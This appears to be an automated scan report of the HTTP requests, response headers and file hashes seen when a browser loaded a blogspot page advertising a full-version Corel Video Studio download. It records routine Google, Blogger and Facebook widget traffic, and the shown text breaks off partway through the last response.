Magic:  data
Size:   471
Md5:    2319ce162f6fc11273e756ec9da2b62e
Sha1:   bd067c66c38236a175912f8ccbe9465bbf1f179c
Sha256: c6846ecf6bd06d0eb59d61325986fe9b62d43245c3affcbf7edb4e9b025d9bbd
                                        
                                            POST / HTTP/1.1 
Host: ocsp.digicert.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Content-Length: 115
Content-Type: application/ocsp-request

                                         
                                         93.184.220.29
HTTP/1.1 200 OK
Content-Type: application/ocsp-response
                                        
Accept-Ranges: bytes
Cache-Control: max-age=169409
Date: Thu, 11 Oct 2018 12:32:16 GMT
Etag: "5bbf2684-1d7"
Expires: Sat, 13 Oct 2018 11:35:45 GMT
Last-Modified: Thu, 11 Oct 2018 10:31:32 GMT
Server: ECS (ska/F717)
X-Cache: HIT
Content-Length: 471


--- Additional Info ---
Magic:  data
Size:   471
Md5:    ef3eea004c98b8aa3498511a67cf93b0
Sha1:   a997df7a0d565b32cbf1118b6ff8de865ac8ad10
Sha256: 3c4b218bc3e86d5c24467ec6c5006f46bd76acf565e2cde8879c626a8c539da1
                                        
                                            GET /_/scs/apps-static/_/js/k=oz.gapi.en_US.-3Q5REx5LtQ.O/m=gapi_iframes/exm=plusone/rt=j/sv=1/d=1/ed=1/am=wQ/rs=AGLTcCOaEhBP76PUvj_-0NwHeJUk1xWfYw/cb=gapi.loaded_1 HTTP/1.1 
Host: apis.google.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://abduhshare.blogspot.com/2014/04/corel-video-studio-pro-x7-full-version.html
Cookie: NID=141=NkZ0LuPQq_p_jLMzN-4VnzAuKuHsg37MN9aYRH1aaLcYu32nJoIXcYPaX66Qv90n8YDvMCWmfbzsucSdJOjLcPCViAQQC6IPab_kfGJO-VeE9k6-8iHd7fIHiXLVBF7p

                                         
                                         216.58.211.142
HTTP/1.1 200 OK
Content-Type: text/javascript; charset=UTF-8
                                        
Accept-Ranges: bytes
Vary: Accept-Encoding
Content-Encoding: gzip
Content-Length: 1109
Date: Thu, 11 Oct 2018 01:35:01 GMT
Expires: Fri, 11 Oct 2019 01:35:01 GMT
Last-Modified: Wed, 10 Oct 2018 07:26:13 GMT
X-Content-Type-Options: nosniff
Server: sffe
X-XSS-Protection: 1; mode=block
Cache-Control: public, immutable, max-age=31536000
Age: 39435
Alt-Svc: quic=":443"; ma=2592000; v="44,43,39,35"


--- Additional Info ---
Magic:  gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT)
Size:   1109
Md5:    f0a3cc76d10785aad397c33e06c47a84
Sha1:   49975af3307eeb8dfbdf6402db61a66deda93c00
Sha256: e9e7147153625cc2bbb0a59511a3f7ce436a19f453fd2982520605735a1db00a
                                        
                                            GET /_/scs/apps-static/_/js/k=oz.gapi.en_US.-3Q5REx5LtQ.O/m=plusone/rt=j/sv=1/d=1/ed=1/am=wQ/rs=AGLTcCOaEhBP76PUvj_-0NwHeJUk1xWfYw/cb=gapi.loaded_0 HTTP/1.1 
Host: apis.google.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://abduhshare.blogspot.com/2014/04/corel-video-studio-pro-x7-full-version.html
Cookie: NID=141=NkZ0LuPQq_p_jLMzN-4VnzAuKuHsg37MN9aYRH1aaLcYu32nJoIXcYPaX66Qv90n8YDvMCWmfbzsucSdJOjLcPCViAQQC6IPab_kfGJO-VeE9k6-8iHd7fIHiXLVBF7p

                                         
                                         216.58.211.142
HTTP/1.1 200 OK
Content-Type: text/javascript; charset=UTF-8
                                        
Accept-Ranges: bytes
Vary: Accept-Encoding
Content-Encoding: gzip
Content-Length: 46708
Date: Wed, 10 Oct 2018 23:10:19 GMT
Expires: Thu, 10 Oct 2019 23:10:19 GMT
Last-Modified: Wed, 10 Oct 2018 07:26:13 GMT
X-Content-Type-Options: nosniff
Server: sffe
X-XSS-Protection: 1; mode=block
Cache-Control: public, immutable, max-age=31536000
Age: 48117
Alt-Svc: quic=":443"; ma=2592000; v="44,43,39,35"


--- Additional Info ---
Magic:  gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT)
Size:   46708
Md5:    13fe393f03bdd4f8584ba047ad8aa8d2
Sha1:   24569c0e99671993a998879495ac5f6d676b8e33
Sha256: b02e5ed5508e81e283c2514105433ce310ff57a4abf72ff7a38565669c05c0ae
                                        
                                            GET /img/anon36.png HTTP/1.1 
Host: resources.blogblog.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: https://www.blogger.com/static/v1/v-css/2621646369-cmtfp.css

                                         
                                         216.58.207.201
HTTP/1.1 200 OK
Content-Type: image/png
                                        
Accept-Ranges: bytes
Content-Length: 1654
Date: Thu, 04 Oct 2018 20:55:24 GMT
Expires: Thu, 11 Oct 2018 20:55:24 GMT
Last-Modified: Thu, 04 Oct 2018 01:10:23 GMT
X-Content-Type-Options: nosniff
Server: sffe
X-XSS-Protection: 1; mode=block
Cache-Control: public, max-age=604800
Age: 574612
Alt-Svc: quic=":443"; ma=2592000; v="44,43,39,35"


--- Additional Info ---
Magic:  PNG image, 36 x 36, 8-bit/color RGB, non-interlaced
Size:   1654
Md5:    106b75877485647b4b5618523f541732
Sha1:   c19e26c01d2972a4c895c3688c735158785620c7
Sha256: 19a794aab8d93c3cafd1efa4ae19579369f92ed5f1bb114d05aa0d7c7d1b3c22
                                        
                                            GET /feeds/posts/summary?alt=json-in-script&callback=showpageCount&max-results=99999 HTTP/1.1 
Host: abduhshare.blogspot.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://abduhshare.blogspot.com/2014/04/corel-video-studio-pro-x7-full-version.html

                                         
                                         216.58.211.1
HTTP/1.1 200 OK
Content-Type: text/javascript; charset=UTF-8
                                        
Etag: W/"e564622c2d2b5955fadf39a482ccb7a8da1baed31a9c8e3a0ddeee9dbe475ecf"
Date: Thu, 11 Oct 2018 12:32:16 GMT
Server: blogger-renderd
Expires: Wed, 10 Oct 2018 21:38:11 GMT
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Last-Modified: Mon, 17 Sep 2018 02:54:12 GMT
Content-Encoding: gzip
Content-Length: 49342
X-Frame-Options: SAMEORIGIN
Cache-Control: public, must-revalidate, proxy-revalidate, max-age=1
Age: 0


--- Additional Info ---
Magic:  gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT)
Size:   49342
Md5:    8d32dc1e0161cd8cb02dc58efab1e70c
Sha1:   25a2d3aca588406f919418d3fb768382e5488564
Sha256: d1809f12c897196718906af114b601ce3cf2142b1712bd76ceaa687f27ab98b3
                                        
                                            GET /comment-iframe-bg.g?bgresponse=js_disabled&bgint=uGc53GSTLbk8JiyQabQhaW6fsaIIka9G8CyB1oQ4TS0 HTTP/1.1 
Host: www.blogger.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: https://www.blogger.com/comment-iframe.g?blogID=1904001926097169502&postID=7002098769562643848&blogspotRpcToken=9583295&bpli=1
Cookie: S=blogger=xcF3hiLtAgO_fV0GX9VaTqXUpooNkC5k

                                         
                                         216.58.207.201
HTTP/1.1 200 OK
Content-Type: text/javascript; charset=UTF-8
                                        
P3P: CP="This is not a P3P policy! See https://www.google.com/support/accounts/bin/answer.py?hl=en&answer=151657 for more info."
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
Pragma: no-cache
Expires: Mon, 01 Jan 1990 00:00:00 GMT
Date: Thu, 11 Oct 2018 12:32:16 GMT
Content-Encoding: gzip
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
X-XSS-Protection: 1; mode=block
Server: GSE
Alt-Svc: quic=":443"; ma=2592000; v="44,43,39,35"
Transfer-Encoding: chunked


--- Additional Info ---
Magic:  gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT)
Size:   3968
Md5:    72bc8c9c1e611e886e2c7c1abccdf123
Sha1:   95f0a84fd58b65803d098b7042ea3224d1c87b02
Sha256: 87799976283be1c6d3a333cfc98d4cc5005c61a6a665f7bbc035495e9168e29f
                                        
                                            GET /files/sumberkupas.js HTTP/1.1 
Host: kupas-project.googlecode.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://abduhshare.blogspot.com/2014/04/corel-video-studio-pro-x7-full-version.html

                                         
                                         74.125.131.82
HTTP/1.1 404 Not Found
Content-Type: text/html; charset=UTF-8
                                        
Referrer-Policy: no-referrer
Content-Length: 1581
Date: Thu, 11 Oct 2018 12:32:16 GMT


--- Additional Info ---
Magic:  HTML document text\012 exported SGML document text
Size:   1581
Md5:    36644fd088c700044ca6fed9a792f6b7
Sha1:   cff9d27893bd3acf7d26c8414179902d384d1101
Sha256: 3dda31c65b81b70346ba0137fa6cf8c52338bc1975facd280c7de23dcd8fe7db
                                        
                                            GET /en_US/all.js HTTP/1.1 
Host: connect.facebook.net
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://abduhshare.blogspot.com/2014/04/corel-video-studio-pro-x7-full-version.html

                                         
                                         31.13.72.12
HTTP/1.1 200 OK
Content-Type: application/x-javascript; charset=utf-8
                                        
Access-Control-Expose-Headers: X-FB-Content-MD5
x-fb-content-md5: aa08e459f2866a3777e975418276c523
Etag: "62f9c1da6f374eddae50fc9c770ccc06"
X-Content-Type-Options: nosniff
Strict-Transport-Security: max-age=31536000; preload; includeSubDomains
X-XSS-Protection: 0
X-Frame-Options: DENY
Timing-Allow-Origin: *
content-security-policy: default-src * data: blob:;script-src *.facebook.com *.fbcdn.net *.facebook.net *.google-analytics.com *.virtualearth.net *.google.com 127.0.0.1:* *.spotilocal.com:* 'unsafe-inline' 'unsafe-eval' *.atlassolutions.com blob: data: 'self';style-src data: blob: 'unsafe-inline' *;connect-src *.facebook.com facebook.com *.fbcdn.net *.facebook.net *.spotilocal.com:* wss://*.facebook.com:* https://fb.scanandcleanlocal.com:* *.atlassolutions.com attachment.fbsbx.com ws://localhost:* blob: *.cdninstagram.com 'self';
Cache-Control: public,max-age=1200,stale-while-revalidate=3600
Expires: Thu, 11 Oct 2018 12:41:51 GMT
Vary: Accept-Encoding
Content-Encoding: gzip
Content-MD5: sAWjkx+4LP/cYZCR6y25+w==
X-FB-Debug: AOfw/huchuaTWendZlF/yPw9pUrhdrC5oJ/62q5gRW4bh7I/peOjKNLrN+bNrXMacEj0Netrw/iIrWq/e5Rgjg==
Date: Thu, 11 Oct 2018 12:32:16 GMT
Connection: keep-alive
Content-Length: 59842


--- Additional Info ---
Magic:  gzip compressed data, from Unix
Size:   59842
Md5:    b005a3931fb82cffdc619091eb2db9fb
Sha1:   49c19498eedff7dd1f3881b69bc250f646ad315f
Sha256: 3ed3389910ae4d0908e46f4a941704362c9be53a85aa7cce6911afc4379d7f2f
                                        
                                            GET /followers.g?blogID=1904001926097169502&colors=Cgt0cmFuc3BhcmVudBILdHJhbnNwYXJlbnQaByMwMDAwMDAiByMwMDAwMDAqByNGRkZGRkYyByMwMDAwMDA6ByMwMDAwMDBCByMwMDAwMDBKByMwMDAwMDBSByNGRkZGRkZaC3RyYW5zcGFyZW50&pageSize=21&postID=7002098769562643848&origin=http%3A%2F%2Fabduhshare.blogspot.com%2F&usegapi=1&jsh=m%3B%2F_%2Fscs%2Fapps-static%2F_%2Fjs%2Fk%3Doz.gapi.en_US.-3Q5REx5LtQ.O%2Fam%3DwQ%2Frt%3Dj%2Fd%3D1%2Frs%3DAGLTcCOaEhBP76PUvj_-0NwHeJUk1xWfYw%2Fm%3D__features__&bpli=1 HTTP/1.1 
Host: www.blogger.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://abduhshare.blogspot.com/2014/04/corel-video-studio-pro-x7-full-version.html
Cookie: S=blogger=xcF3hiLtAgO_fV0GX9VaTqXUpooNkC5k

                                         
                                         216.58.207.201
HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8
                                        
P3P: CP="This is not a P3P policy! See https://www.google.com/support/accounts/bin/answer.py?hl=en&answer=151657 for more info."
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
Pragma: no-cache
Expires: Mon, 01 Jan 1990 00:00:00 GMT
Date: Thu, 11 Oct 2018 12:32:16 GMT
Content-Encoding: gzip
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Server: GSE
Alt-Svc: quic=":443"; ma=2592000; v="44,43,39,35"
Transfer-Encoding: chunked


--- Additional Info ---
Magic:  gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT)
Size:   1772
Md5:    01d357637d1e639dd18afd2ab5229a80
Sha1:   6f45558d097182231937ab791cd10bcd11d90c9b
Sha256: 36769dff1c284035854b369bc472210ff91ac76237fd32ac2daed29221eb0b90
                                        
                                            GET /connect/xd_arbiter/r/trnHszv6jVd.js?version=42 HTTP/1.1 
Host: staticxx.facebook.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://abduhshare.blogspot.com/2014/04/corel-video-studio-pro-x7-full-version.html

                                         
                                         31.13.72.12
HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
                                        
Expires: Mon, 07 Oct 2019 19:27:19 GMT
Cache-Control: public,max-age=31536000,immutable
content-security-policy: default-src * data: blob:;script-src *.facebook.com *.fbcdn.net *.facebook.net *.google-analytics.com *.virtualearth.net *.google.com 127.0.0.1:* *.spotilocal.com:* 'unsafe-inline' 'unsafe-eval' *.atlassolutions.com blob: data: 'self';style-src data: blob: 'unsafe-inline' *;connect-src *.facebook.com facebook.com *.fbcdn.net *.facebook.net *.spotilocal.com:* wss://*.facebook.com:* https://fb.scanandcleanlocal.com:* *.atlassolutions.com attachment.fbsbx.com ws://localhost:* blob: *.cdninstagram.com 'self';
X-XSS-Protection: 0
Strict-Transport-Security: max-age=15552000; preload
X-Content-Type-Options: nosniff
Vary: Accept-Encoding
Content-Encoding: gzip
X-FB-Debug: fTl1Gx6vtJPhlpb3/6YFGh6AR+XzAqkbXn4enMicR2wHxOojiW3ku/eQ1WiohKJLEKKM+7vRcc+1sMEFFBJh3g==
Date: Thu, 11 Oct 2018 12:32:17 GMT
Connection: keep-alive
Content-Length: 14159


--- Additional Info ---
Magic:  gzip compressed data, from Unix
Size:   14159
Md5:    c2a267d1009461ef7de9e2f5acb0129a
Sha1:   162ca22abfa29b337eba92f063fe625fd7f92f16
Sha256: c9e5e49b5f23961469e57a81b64c1a9c72768cb81fe985a6acfb415f1512ee54
                                        
                                            GET /_/scs/apps-static/_/js/k=oz.gapi.en_US.-3Q5REx5LtQ.O/m=gapi_iframes,gapi_iframes_style_common/exm=plusone/rt=j/sv=1/d=1/ed=1/am=wQ/rs=AGLTcCOaEhBP76PUvj_-0NwHeJUk1xWfYw/cb=gapi.loaded_1 HTTP/1.1 
Host: apis.google.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: https://www.blogger.com/followers.g?blogID=1904001926097169502&colors=Cgt0cmFuc3BhcmVudBILdHJhbnNwYXJlbnQaByMwMDAwMDAiByMwMDAwMDAqByNGRkZGRkYyByMwMDAwMDA6ByMwMDAwMDBCByMwMDAwMDBKByMwMDAwMDBSByNGRkZGRkZaC3RyYW5zcGFyZW50&pageSize=21&postID=7002098769562643848&origin=http%3A%2F%2Fabduhshare.blogspot.com%2F&usegapi=1&jsh=m%3B%2F_%2Fscs%2Fapps-static%2F_%2Fjs%2Fk%3Doz.gapi.en_US.-3Q5REx5LtQ.O%2Fam%3DwQ%2Frt%3Dj%2Fd%3D1%2Frs%3DAGLTcCOaEhBP76PUvj_-0NwHeJUk1xWfYw%2Fm%3D__features__&bpli=1
Cookie: NID=141=NkZ0LuPQq_p_jLMzN-4VnzAuKuHsg37MN9aYRH1aaLcYu32nJoIXcYPaX66Qv90n8YDvMCWmfbzsucSdJOjLcPCViAQQC6IPab_kfGJO-VeE9k6-8iHd7fIHiXLVBF7p

                                         
                                         216.58.211.142
HTTP/1.1 200 OK
Content-Type: text/javascript; charset=UTF-8
                                        
Accept-Ranges: bytes
Vary: Accept-Encoding
Content-Encoding: gzip
Content-Length: 13844
Date: Thu, 11 Oct 2018 00:56:01 GMT
Expires: Fri, 11 Oct 2019 00:56:01 GMT
Last-Modified: Wed, 10 Oct 2018 07:26:13 GMT
X-Content-Type-Options: nosniff
Server: sffe
X-XSS-Protection: 1; mode=block
Cache-Control: public, immutable, max-age=31536000
Age: 41776
Alt-Svc: quic=":443"; ma=2592000; v="44,43,39,35"


--- Additional Info ---
Magic:  gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT)
Size:   13844
Md5:    c02232dfa00746b55200510f0c761896
Sha1:   eda86a3e0aed9d7f22c76ae917b82ee818a61275
Sha256: 41c9fa906a27f6319ad190fba9b5cc6f1af2470ecea81871d401f15441d8854f
                                        
                                            GET /plugins/likebox.php?href=http%3A%2F%2Fwww.facebook.com%2FAbduhshareblogspotcom&width=292&height=290&colorscheme=light&show_faces=true&border_color&stream=false&header=true&appId=425592997485841 HTTP/1.1 
Host: www.facebook.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://abduhshare.blogspot.com/2014/04/corel-video-studio-pro-x7-full-version.html

                                         
                                         31.13.72.36
HTTP/1.1 200 OK
Content-Type: text/html; charset="utf-8"
                                        
Timing-Allow-Origin: *
X-XSS-Protection: 0
Pragma: no-cache
content-security-policy: default-src * data: blob:;script-src *.facebook.com *.fbcdn.net *.facebook.net *.google-analytics.com *.virtualearth.net *.google.com 127.0.0.1:* *.spotilocal.com:* 'unsafe-inline' 'unsafe-eval' *.atlassolutions.com blob: data: 'self';style-src data: blob: 'unsafe-inline' *;connect-src *.facebook.com facebook.com *.fbcdn.net *.facebook.net *.spotilocal.com:* wss://*.facebook.com:* https://fb.scanandcleanlocal.com:* *.atlassolutions.com attachment.fbsbx.com ws://localhost:* blob: *.cdninstagram.com 'self';
Cache-Control: private, no-cache, no-store, must-revalidate
Strict-Transport-Security: max-age=15552000; preload
X-Content-Type-Options: nosniff
Expires: Sat, 01 Jan 2000 00:00:00 GMT
Vary: Accept-Encoding
Content-Encoding: gzip
X-FB-Debug: HQ4rTPZDmlKDydvpBzN4wmydYW1oyyWqI0Gt3HghDamEHF2+49DDEtuv++Uda2B6cp8VwP4HzeXkuXldFPHmlw==
Date: Thu, 11 Oct 2018 12:32:17 GMT
Transfer-Encoding: chunked
Connection: keep-alive


--- Additional Info ---
Magic:  gzip compressed data, from Unix
Size:   160846
Md5:    30cc147a099d2c41c4359f77fbbf623a
Sha1:   de40c796fa4d3a041f2311acbc1862c6565bc397
Sha256: bf5cc4547838c243103908fc562fff0c18e7f2a42dbfdfc11af448a31c869a98
                                        
                                            GET /2014/04/URL%20BLOG%20ANDA/feeds/comments/default?alt=json-in-script&redirect=false&max-results=18&callback=showRecentComments HTTP/1.1 
Host: abduhshare.blogspot.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://abduhshare.blogspot.com/2014/04/corel-video-studio-pro-x7-full-version.html

                                         
                                         216.58.211.1
HTTP/1.1 404 Not Found
Content-Type: text/html; charset=UTF-8
                                        
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
Pragma: no-cache
Expires: Mon, 01 Jan 1990 00:00:00 GMT
Date: Thu, 11 Oct 2018 12:32:17 GMT
Content-Encoding: gzip
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Content-Length: 47417
Server: GSE


--- Additional Info ---
Magic:  gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT)
Size:   47417
Md5:    fd5ca6bb824c424ed2e2e9cdd4cc2a80
Sha1:   f2fa060061c1e10e093cc61d8892307696c87d4a
Sha256: 01e3c4a40f6f13d463f3e3711ac3b4ab79f113d3e4de08b2d6abc1067aa37977
                                        
                                            GET /rsrc.php/v3/yf/r/RoS_PT8hB3q.js HTTP/1.1 
Host: static.xx.fbcdn.net
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: https://www.facebook.com/plugins/likebox.php?href=http%3A%2F%2Fwww.facebook.com%2FAbduhshareblogspotcom&width=292&height=290&colorscheme=light&show_faces=true&border_color&stream=false&header=true&appId=425592997485841

                                         
                                         31.13.72.12
HTTP/1.1 200 OK
Content-Type: application/x-javascript; charset=utf-8
                                        
Access-Control-Allow-Credentials: true
Cache-Control: public,max-age=31536000,immutable
X-Content-Type-Options: nosniff
X-XSS-Protection: 0
content-security-policy: default-src * data: blob:;script-src *.facebook.com *.fbcdn.net *.facebook.net *.google-analytics.com *.virtualearth.net *.google.com 127.0.0.1:* *.spotilocal.com:* 'unsafe-inline' 'unsafe-eval' *.atlassolutions.com blob: data: 'self';style-src data: blob: 'unsafe-inline' *;connect-src *.facebook.com facebook.com *.fbcdn.net *.facebook.net *.spotilocal.com:* wss://*.facebook.com:* https://fb.scanandcleanlocal.com:* *.atlassolutions.com attachment.fbsbx.com ws://localhost:* blob: *.cdninstagram.com 'self' chrome-extension://boadgeojelhgndaghljhdicfkmllpafd chrome-extension://dliochdbjfkdbacpmhlcpmleaejidimm;
Timing-Allow-Origin: *
Expires: Wed, 09 Oct 2019 12:41:47 GMT
Last-Modified: Mon, 01 Jan 2001 08:00:00 GMT
Access-Control-Allow-Origin: *
Vary: Accept-Encoding
Content-Encoding: gzip
Content-MD5: cltCGV/neGZiTpTmcTGeow==
X-FB-Debug: ueEH39YhYRcyox7gbm1cWVzDeZ49N1yhdsIepbOniKDQdkrVhVQrd2+fKKnFhAN20CIo/lwFDZXCfHba6iC0Hg==
Date: Thu, 11 Oct 2018 12:32:17 GMT
Connection: keep-alive
Content-Length: 30303


--- Additional Info ---
Magic:  gzip compressed data, from Unix
Size:   30303
Md5:    725b42195fe77866624e94e671319ea3
Sha1:   793d6b12714cf3a5e71654974e574ebb58b297cd
Sha256: 33aa6acafb46a16355111485fe1ae23075272b236e6d7943effb769fd419c048
                                        
                                            GET /rsrc.php/v3/yh/r/94opnalmU8p.js HTTP/1.1 
Host: static.xx.fbcdn.net
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: https://www.facebook.com/plugins/likebox.php?href=http%3A%2F%2Fwww.facebook.com%2FAbduhshareblogspotcom&width=292&height=290&colorscheme=light&show_faces=true&border_color&stream=false&header=true&appId=425592997485841

                                         
                                         31.13.72.12
HTTP/1.1 200 OK
Content-Type: application/x-javascript; charset=utf-8
                                        
Access-Control-Allow-Credentials: true
Cache-Control: public,max-age=31536000,immutable
X-Content-Type-Options: nosniff
X-XSS-Protection: 0
content-security-policy: default-src * data: blob:;script-src *.facebook.com *.fbcdn.net *.facebook.net *.google-analytics.com *.virtualearth.net *.google.com 127.0.0.1:* *.spotilocal.com:* 'unsafe-inline' 'unsafe-eval' *.atlassolutions.com blob: data: 'self';style-src data: blob: 'unsafe-inline' *;connect-src *.facebook.com facebook.com *.fbcdn.net *.facebook.net *.spotilocal.com:* wss://*.facebook.com:* https://fb.scanandcleanlocal.com:* *.atlassolutions.com attachment.fbsbx.com ws://localhost:* blob: *.cdninstagram.com 'self';
Timing-Allow-Origin: *
Expires: Wed, 09 Oct 2019 16:51:25 GMT
Last-Modified: Mon, 01 Jan 2001 08:00:00 GMT
Access-Control-Allow-Origin: *
Vary: Accept-Encoding
Content-Encoding: gzip
Content-MD5: QFW1zDDxH8GvpAibAyViBg==
X-FB-Debug: hZL4me+5KIRaZ+Xj2PhgMVSi6dEdA1dvrYyvjAEnfFUFhYgH3WokKoRNCgaLWv2sFLqvZNsWJLISZdHCZ4+cGA==
Date: Thu, 11 Oct 2018 12:32:18 GMT
Connection: keep-alive
Content-Length: 6508


--- Additional Info ---
Magic:  gzip compressed data, from Unix
Size:   6508
Md5:    4055b5cc30f11fc1afa4089b03256206
Sha1:   3cd56056e739e2cbc6299597c1a1a2e8168ab49a
Sha256: ec1ca4d73ed2028382ee4f98a2423a64164b6e24516a6a33fa3e6b2f478de300
                                        
                                            GET /rsrc.php/v3/yz/r/ZGyYwXzkgrt.js HTTP/1.1 
Host: static.xx.fbcdn.net
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: https://www.facebook.com/plugins/likebox.php?href=http%3A%2F%2Fwww.facebook.com%2FAbduhshareblogspotcom&width=292&height=290&colorscheme=light&show_faces=true&border_color&stream=false&header=true&appId=425592997485841

                                         
                                         31.13.72.12
HTTP/1.1 200 OK
Content-Type: application/x-javascript; charset=utf-8
                                        
Access-Control-Allow-Credentials: true
X-Content-Type-Options: nosniff
x-ua-compatible: IE=edge,chrome=1
X-XSS-Protection: 0
Timing-Allow-Origin: *
Cache-Control: public,max-age=31536000,immutable
Expires: Tue, 08 Oct 2019 23:58:59 GMT
Last-Modified: Mon, 01 Jan 2001 08:00:00 GMT
Access-Control-Allow-Origin: *
Vary: Accept-Encoding
Content-Encoding: gzip
Content-MD5: 1iyDTV7eyGkgaw2bga28ww==
